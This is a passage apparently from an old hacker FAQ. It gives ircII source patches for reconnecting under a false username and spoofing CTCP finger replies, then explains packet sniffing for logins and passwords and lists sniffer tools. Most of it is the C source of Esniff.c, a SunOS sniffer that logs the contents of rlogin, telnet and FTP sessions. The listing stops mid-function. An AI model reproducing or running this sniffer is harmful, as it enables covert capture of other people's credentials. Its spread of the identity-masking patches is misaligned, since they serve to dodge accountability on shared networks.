username and IRCNAME: alias be { ^on ^311 * { ^on 311 -* newuser $2 $5- } whois $0 } Now... in order to add this command to your ircII client, get the latest client source (or whatever client source you are using). Cd into the source directory and edit the file "edit.c". Make the following changes: Locate the line which reads: extern void server(); Insert the following line after it: static void newuser(); This pre-defines a new function "newuser()" that we'll add later. Now, locate the line which reads: "NAMES", "NAMES", funny_stuff, 0, Insert the following line after it: "NEWUSER", NULL, newuser, 0, This adds a new command NEWUSER to the list of valid IRCII commands, and tells it to call our new function newuser() to perform it. Finally, go the bottom of the file and add the following code as our new function "newuser()": /* * newuser: the /NEWUSER command. Added by Hendrix * Parameters as follows: * /NEWUSER <new_username> [new_IRCNAME] * <new_username> is a new username to use and is required * [new_IRCNAME] is a new IRCNAME string to use and is optional * This will disconnect you from your server and reconnect using * the new information given. You will rejoin all channels you * are currently on and keep your current nickname. */ static void newuser(command, args) char *command, *args; { char *newuname; if (newuname = next_arg(args, &args)) { strmcpy(username, newuname, NAME_LEN); if (*args) strmcpy(realname, args, REALNAME_LEN); say("Reconnecting to server..."); close_server(from_server); if (connect_to_server(server_list[from_server].name, server_list[from_server].port, primary_server) != -1) { change_server_channels(primary_server, from_server); set_window_server(-1, from_server, 1); } else say("Unable to reconnect. Use /SERVER to connect."); } else say("You must specify a username and, optionally, an IRCNAME"); } -- END QUOTED TEXT -- /NEWUSER will not hide you from a CTCP query. To do that, modify ctcp.c as shown in the following diff and set an environment variable named CTCPFINGER with the information you would like to display when queried. *** ctcp.old --- ctcp.c *************** *** 334 **** ! char c; --- 334 --- ! char c, *fing; *************** *** 350,354 **** ! if (pwd = getpwuid(uid)) { char *tmp; --- 350,356 ---- ! if (fing = getenv("CTCPFINGER")) ! send_ctcp_reply(from, ctcp->name, fing, diff, c); ! else if (pwd = getpwuid(uid)) { char *tmp; --------------------------------------------------------------------------- --------------------------------------------------------------------------- B-05. What is sniffing? Sniffing is listening (with software) to the raw network device for packets that interest you. When your software sees a packet that fits certain criteria, it logs it to a file. The most common criteria for an interesting packet is one that contains words like "login" or "password." You will have to obtain or code a sniffer that is capable of working with the appropriate type of network interface. Popular network interfaces include NIT (Network Interface Tap), and DLPI (Data Link Provider Interface), and BPF (Berkeley Packet Filter.) LLI was a network interface used by SCO, which has been augmented with DLPI support as of SCO OpenServer Release V. NIT was a network interface used by Sun, but has been replaced in later releases of SunOS/Solaris with DLPI. Ultrix supported the Ultrix Packet Filter before Digital implemented support for BPF. DLPI is supported under current releases of System V Release 4, SunOS/Solaris, AIX, HP/UX, UnixWare, Irix, and MacOS. DLPI is partially supported under Digital Unix. Sun DLPI version 2 supports Ethernet, X.25 LAPB, SDLC, ISDN LAPD, CSMA/CD, FDDI, token ring, token bus, and Bisync as data-link protocols. The DLPI network interface provided with HP/UX supports Ethernet/IEEE 802.3, IEEE 802.5, FDDI, and Fibre Channel. For more information regarding DLPI, access the DLPI Specification at http://fiver.sns.com/solaris_x86/x86_drivers/ or FTP the paper "How to Use DLPI in Solaris 2.x" by Neal Nuckolls from newstop.ebay.sun.com in /sun/SunOS5.0/dltest.tar.Z. BPF is supported under current releases of BSD and Digital Unix, and has been ported to SunOS and Solaris. AIX supports BPF reads, but not writes. A BPF library is available for Linux. Many sniffers are available for various operating systems: OS Sniffer ~~ ~~~~~~~ 4.3/4.4 BSD tcpdump /* Available via anonymous ftp */ FreeBSD tcpdump /* Available via anonymous ftp at */ /* gatekeeper.dec.com */ /* /.0/BSD/FreeBSD/FreeBSD-current/src/contrib/tcpdump/ */ NetBSD tcpdump /* Available via anonymous ftp at */ /* gatekeeper.dec.com */ /* /.0/BSD/NetBSD/NetBSD-current/src/usr.sbin/ */ DEC Unix tcpdump /* Available via anonymous ftp */ DEC Ultrix tcpdump /* Available via anonymous ftp */ HP/UX nettl (monitor) & netfmt (display) nfswatch /* Available via anonymous ftp */ Linux tcpdump /* Available via anonymous ftp at */ /* sunsite.unc.edu */ /* /pub/Linux/system/Network/management/ */ SGI Irix nfswatch /* Available via anonymous ftp */ Etherman tcpdump /* Available via anonymous ftp */ Solaris snoop tcpdump SunOS etherfind nfswatch /* Available via anonymous ftp */ tcpdump /* Available via anonymous ftp */ DOS ETHLOAD /* Available via anonymous ftp as */ /* ethld104.zip */ The Gobbler /* Available via anonymous ftp */ LanPatrol LanWatch Netmon Netwatch Netzhack /* Available via anonymous ftp at */ /* mistress.informatik.unibw-muenchen.de */ /* /pub/assembler/netzhack.mac */ Macintosh Etherpeek NetMinderEthernet /* Commercial */ [Note from Dan Mellem: VMS running MULTINET has a packet sniffer: $ mu tcpdump and $ mu tcpview, but these are privileged commands. H.] Here is source code for a sample ethernet sniffer using NIT under SunOS 4.x: /* Esniff.c */ #include <stdio.h> #include <ctype.h> #include <string.h> #include <sys/time.h> #include <sys/file.h> #include <sys/stropts.h> #include <sys/signal.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <net/if.h> #include <net/nit_if.h> #include <net/nit_buf.h> #include <net/if_arp.h> #include <netinet/in.h> #include <netinet/if_ether.h> #include <netinet/in_systm.h> #include <netinet/ip.h> #include <netinet/udp.h> #include <netinet/ip_var.h> #include <netinet/udp_var.h> #include <netinet/in_systm.h> #include <netinet/tcp.h> #include <netinet/ip_icmp.h> #include <netdb.h> #include <arpa/inet.h> #define ERR stderr char *malloc(); char *device, *ProgName, *LogName; FILE *LOG; int debug=0; #define NIT_DEV "/dev/nit" #define CHUNKSIZE 4096 /* device buffer size */ int if_fd = -1; int Packet[CHUNKSIZE+32]; void Pexit(err,msg) int err; char *msg; { perror(msg); exit(err); } void Zexit(err,msg) int err; char *msg; { fprintf(ERR,msg); exit(err); } #define IP ((struct ip *)Packet) #define IP_OFFSET (0x1FFF) #define SZETH (sizeof(struct ether_header)) #define IPLEN (ntohs(ip->ip_len)) #define IPHLEN (ip->ip_hl) #define TCPOFF (tcph->th_off) #define IPS (ip->ip_src) #define IPD (ip->ip_dst) #define TCPS (tcph->th_sport) #define TCPD (tcph->th_dport) #define IPeq(s,t) ((s).s_addr == (t).s_addr) #define TCPFL(FLAGS) (tcph->th_flags & (FLAGS)) #define MAXBUFLEN (128) time_t LastTIME = 0; struct CREC { struct CREC *Next, *Last; time_t Time; /* start time */ struct in_addr SRCip, DSTip; u_int SRCport, /* src/dst ports */ DSTport; u_char Data[MAXBUFLEN+2]; /* important stuff :-) */ u_int Length; /* current data length */ u_int PKcnt; /* # pkts */ u_long LASTseq; }; struct CREC *CLroot = NULL; char *Symaddr(ip) register struct in_addr ip; { register struct hostent *he = gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET); return( (he)?(he->h_name):(inet_ntoa(ip)) ); } char *TCPflags(flgs) register u_char flgs; { static char iobuf[8]; #define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-') SFL(0,TH_FIN, 'F'); SFL(1,TH_SYN, 'S'); SFL(2,TH_RST, 'R'); SFL(3,TH_PUSH,'P'); SFL(4,TH_ACK, 'A'); SFL(5,TH_URG, 'U'); iobuf[6]=0; return(iobuf); } char *SERVp(port) register u_int port; { static char buf[10]; register char *p; switch(port) { case IPPORT_LOGINSERVER: p="rlogin"; break; case IPPORT_TELNET: p="telnet"; break; case IPPORT_SMTP: p="smtp"; break; case IPPORT_FTP: p="ftp"; break; default: sprintf(buf,"%u",port); p=buf; break; } return(p); } char *Ptm(t) register time_t *t; { register char *p = ctime(t); p[strlen(p)-6]=0; /* strip " YYYY\n" */ return(p); } char *NOWtm() { time_t tm; time(&tm); return( Ptm(&tm) ); } #define MAX(a,b) (((a)>(b))?(a):(b)) #define MIN(a,b) (((a)<(b))?(a):(b)) /* add an item */ #define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \ register struct CREC *CLtmp = \ (struct CREC *)malloc(sizeof(struct CREC)); \ time( &(CLtmp->Time) ); \ CLtmp->SRCip.s_addr = SIP.s_addr; \ CLtmp->DSTip.s_addr = DIP.s_addr; \ CLtmp->SRCport = SPORT; \ CLtmp->DSTport = DPORT; \ CLtmp->Length = MIN(LEN,MAXBUFLEN); \ bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \ CLtmp->PKcnt = 1; \ CLtmp->Next = CLroot; \ CLtmp->Last = NULL; \ CLroot = CLtmp; \ } register struct CREC *GET_NODE(Sip,SP,Dip,DP) register struct in_addr Sip,Dip; register u_int SP,DP; { register struct CREC *CLr = CLroot; while(CLr != NULL) { if( (CLr->SRCport == SP) && (CLr->DSTport == DP) && IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) ) break; CLr = CLr->Next; } return(CLr); } #define ADDDATA_NODE(CL,DATA,LEN) { \ bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \ CL->Length += LEN; \ } #define PR_DATA(dp,ln) { \ register u_char lastc=0; \ while(ln-- >0) { \ if(*dp < 32) { \ switch(*dp) { \ case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \ break; \ case '\r': \ case '\n': fprintf(LOG,"\n : "); \ break; \ default : fprintf(LOG,"^%c", (*dp + 64)); \ break; \ } \ } else { \ if(isprint(*dp)) fputc(*dp,LOG); \ else fprintf(LOG,"(%d)",*dp); \ } \ lastc = *dp++; \ } \ fflush(LOG); \ } void END_NODE(CLe,d,dl,msg) register struct CREC *CLe; register u_char *d; register int dl; register char *msg; { fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time)); fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport)); fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport)); fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n", NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg); fprintf(LOG," DATA: "); { register u_int i = CLe->Length; register u_char *p = CLe->Data; PR_DATA(p,i); PR_DATA(d,dl); } fprintf(LOG,"\n-- \n"); fflush(LOG); if(CLe->Next != NULL) CLe->Next->Last = CLe->Last; if(CLe->Last != NULL) CLe->Last->Next = CLe->Next; else CLroot = CLe->Next; free(CLe); } /* 30 mins (x 60 seconds) */ #define IDLE_TIMEOUT 1800 #define IDLE_NODE() { \ time_t tm; \ time(&tm); \ if(LastTIME<tm) { \ register struct CREC *CLe,*CLt = CLroot; \ LastTIME=(tm+IDLE_TIMEOUT); tm-=IDLE_TIMEOUT; \ while(CLe=CLt) { \ CLt=CLe->Next; \ if(CLe->Time <tm) \ END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \ } \ } \ } void filter(cp, pktlen) register char *cp;